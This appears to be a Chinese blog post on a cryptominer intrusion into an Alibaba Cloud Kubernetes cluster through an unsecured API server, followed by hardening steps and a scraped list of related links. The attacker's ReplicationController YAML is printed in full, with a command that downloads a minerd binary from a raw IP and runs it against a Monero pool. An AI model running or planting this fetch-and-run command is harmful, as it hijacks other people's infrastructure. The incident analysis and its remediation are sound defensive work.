阿里云kubernetes被minerd挖矿入侵

# kubectl get rc mysql1 -o yaml
apiVersion: v1
kind: ReplicationController
metadata:
creationTimestamp: 2017-09-07T07:21:43Z
generation: 1
labels:
app: mysql1
name: mysql1
namespace: default
resourceVersion: "12180788"
selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql1
uid: 33118df0-939d-11e7-bd2a-00163e088d17
spec:
replicas: 5
selector:
app: mysql1
template:
metadata:
creationTimestamp: null
labels:
app: mysql1
spec:
containers:
- command:
- sh
- -c
- curl -L http://172.104.190.64:8220/minerd -o minerd;chmod 777 minerd &&
setsid ./minerd -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333
-u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
-p x
image: centos
imagePullPolicy: Always
name: mysql1
resources: {}
terminationMessagePath: /dev/termination-log
dnsPolicy: ClusterFirst
restartPolicy: Always
securityContext: {}
terminationGracePeriodSeconds: 30
volumes:
- emptyDir: {}
name: shared-data
status:
availableReplicas: 4
fullyLabeledReplicas: 5
observedGeneration: 1
readyReplicas: 4
replicas: 5

原因是由于Kubernetes Apiserver不安全配置所致,Apiserver提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制,所以apiserver的安全至关重要。

解决方法步骤

1,删除相关rc,命令如下

kubectl delete rc mysql1

2,设置非安全端口 8080 限制只能本机访问

# vi /etc/kubernetes/apiserver
KUBE_API_ADDRESS="--insecure-bind-address=127.0.0.1"

3,安全端口6443使用双向ssl认证访问,authorization-mode=ABAC,服务器和客户端证书生成浏览

/etc/kubernetes/apiserver配置

KUBE_API_ARGS="--client-ca-file=/etc/kubernetes/ca.crt --tls-cert-file=/etc/kubernetes/server.crt --tls-private-key-file=/etc/kubernetes/server.key --authorization-mode=ABAC --authorization_policy_file=/etc/kubernetes/authorizationpolicy.txt --enable-swagger-ui=true"

authorizationpolicy.txt授权配置

{"user":"kubeadmin","readonly": false}

参考资料

https://www.kubernetes.org.cn/1995.html

https://www.kubernetes.org.cn/1865.html

https://kubernetes.io/docs/admin/authentication/#appendix

http://www.cnblogs.com/breg/p/5923604.html

https://github.com/kubernetes/kubernetes/issues/31665

阿里云kubernetes被minerd挖矿入侵的更多相关文章

  1. 15分钟在阿里云Kubernetes服务上快速建立Jenkins X Platform并运用GitOps管理应用发布

    本文主要介绍如何在阿里云容器服务Kubernetes上快速安装部署Jenkins X Platform并结合demo实践演示GitOps的操作流程. 注意:本文中使用的jx工具.cloud-envir ...

  2. 阿里云Kubernetes服务上使用Tekton完成应用发布初体验

    Tekton 是一个功能强大且灵活的 Kubernetes 原生开源框架,用于创建持续集成和交付(CI/CD)系统.通过抽象底层实现细节,用户可以跨多云平台和本地系统进行构建.测试和部署. 本文是基于 ...

  3. 阿里云Kubernetes服务 - Service Broker快速入门指南

    4月底阿里云容器服务上线了基于Kubernetes集群的服务目录功能.阿里云的容器的服务目录遵循Open Service Broker API标准,提供了一系列的服务代理组件,实现了对主流开源服务如M ...

  4. 阿里云kubernetes集群被xmrig挖矿程序入侵

    原因是由于Kubernetes Apiserver不安全配置所致,Apiserver提供了资源操作的唯一入口,并提供认证.授权.访问控制.API注册和发现等机制,所以apiserver的安全至关重要. ...

  5. 阿里云kubernetes遭入侵pubg进程占用cpu资源100%解决方法

    发现服务器CPU占用100%,通过top命令发现pubg -c config.json -t 2占用CPU资源,kill进程会自动启动.黑客入侵方式是kubernetes创建pod. Name: ku ...

  6. 转-阿里云Kubernetes容器Istio实践之集成日志

    http://cloud.it168.com/a2018/0801/3216/000003216642.shtml#articlecomment https://mbd.baidu.com/newsp ...

  7. 解决:阿里云服务器被植入挖矿程序后修改密码失败的问题(报错:passwd: Authentication token manipulation error)

    如下图,在修改密码的时候会报错 原因: 通常不能修改密码都是/etc/passwd文件或者/etc/shadow文件被锁住了 解决: 检查/etc/passwd文件和/etc/shadow文件是否被锁 ...

  8. 阿里云ECS安装Kubernetes问题收集与解答

    问题1 kubernetes pod启动报错open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: no such fil ...

  9. 持续优化云原生体验,阿里云在Serverless容器与多云上的探索

    近日,阿里云宣布推出Serverless Kubernetes服务此举意在降低容器技术的使用门槛.简化容器平台运维.并同时发布阿里云服务对Open Service Broker API标准支持,通过一 ...

随机推荐

  1. springboot+kotlin+springcloud+java+grade+maven混编?

    springboot + maven + java vs springboot + gradle + kotlin 快速搭建:https://start.spring.io/ springclould ...

  2. 【BZOJ2820】ygy的gcd

    不知道为什么不想写总结,只是(因为是用别人的权限号交的所以)屯一个代码 #include<iostream> #include<cstdio> #include<algo ...

  3. nginx常用参数设置

    1)隐藏nginx header 版本号 使用curl -I http://www.10.0.3.46 会发现server那里显示版本号 在nginx.conf的http里添加参数server_tok ...

  4. pread和pwrite函数

    先来介绍pread函数 [root@bogon mycode]# cat test.c #include<stdio.h> #include<stdlib.h> #includ ...

  5. OutputStream 和 Writer

    OutputStream类(直接操作byte数组) 该类是字节输出流的抽象类,定义了输出流的各种操作方法.如下图是OutputStream的层次结构: ByteArrayOutputStream:字节 ...

  6. .NET本质论 类型基础

    类型概述 类型是CLR程序的生成块(building block). CLR类型(CLR type)是命名的可重用抽象体. CLR类型定义由零个或多个成员(member)组成.类型的成员控制类型如何使 ...

  7. 非递归和递归分别实现求第n个斐波那契数。

    菲波那切数列为:0 1 1 2 3 5 8 13 21 34... 规律:从第三个数字起后面的每一个数字都是前两个数字的和. 非递归算法: #include<stdio.h> int ma ...

  8. babel-loader和webpack UglifyJS一起使用时console的问题

    一起使用babel-loader和webpack UglifyJS时,babel会优先处理一遍代码,编译后的代码才进入webpack进行打包和优化操作. 出处:https://www.tangshua ...

  9. elasticsearch 基础 语法总结

    1. es 使用 restful 风格的 api 备注: es 的 api  格式  基本是这个样     请求方式    /索引名/文档名/id?参数   ,但是 还有 很多不是这样的 请求,比如 ...

  10. Xshell配置SSH免密码登录

    思路: 私钥存放于客户端,id_rsa 将客户端公钥存放于要远程控制服务器上:将客户在公钥id_rsa.pub内容追加到 /root/.ssh/authorized_keys 使用密钥认证分3步: 1 ...